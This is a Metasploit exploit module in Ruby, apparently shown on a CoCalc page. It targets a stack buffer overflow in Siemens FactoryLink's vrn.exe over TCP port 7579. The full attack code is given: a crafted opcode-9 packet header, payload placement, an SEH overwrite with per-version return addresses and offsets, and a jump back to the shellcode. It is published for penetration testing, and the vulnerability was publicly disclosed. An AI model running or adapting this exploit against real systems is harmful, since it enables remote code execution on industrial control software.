CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',
15
      'Description'    => %q{
16
          This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
17
        and 8.0.1.703.  By sending a specially crafted packet, an attacker may be able to
18
        execute arbitrary code due to the improper use of a vsprintf() function while
19
        processing the user-supplied text field.  Originally found and posted by
20
        Luigi Auriemma.
21
      },
22
      'Author'         =>
23
        [
24
          'Luigi Auriemma', # Public exploit
25
          'hal',            # Metasploit module
26
          'MC',             # SEH, badchars, etc
27
        ],
28
      'License'        => MSF_LICENSE,
29
      'References'     =>
30
        [
31
          ['OSVDB', '72815'],
32
          ['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],
33
          ['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-091-01']
34
        ],
35
      'Privileged'     => true,
36
      'DefaultOptions' =>
37
        {
38
          'EXITFUNC' => 'seh',
39
        },
40
      'Payload'        =>
41
        {
42
          'Space'    => 550,
43
          'BadChars' => "\x00\x20\x0a\x0d",
44
          'StackAdjustment' => -3500,
45
        },
46
      'Platform'       => 'win',
47
      'Targets'        =>
48
        [
49
          [ 'FactoryLink 7.5',        { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],
50
          [ 'FactoryLink 7.5 SP2',    { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],
51
          [ 'FactoryLink 8.0.1.703',  { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],
52
        ],
53
      'DisclosureDate' => '2011-03-21'))
54

55
      register_options([Opt::RPORT(7579)])
56
  end
57

58
  def exploit
59

60
    header =  "\x3f" * 4
61
    header << "\xff\x55"
62
    header << "\x09\x00" # opcode
63
    header << "\x3f\x3f\xff\xff"
64
    header << "\x00\x00\x3f\x3f"
65
    header << "\x01\x00"
66
    header << "\x3f" * 16
67
    header << "\x01\x00\x01\x00"
68
    header << "\x3f\x3f"
69

70
    data = rand_text_alpha_upper(65535)
71
    data[448, payload.encoded.length] = payload.encoded
72
    data[target['Offset'], 8]  = generate_seh_record(target.ret)
73
    data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string
74

75
    print_status("Trying target #{target.name}...")
76

77
    connect
78
    sock.put(header + data)
79

80
    handler
81

82
    select(nil,nil,nil,1)
83
    disconnect
84

85
  end
86
end
87

88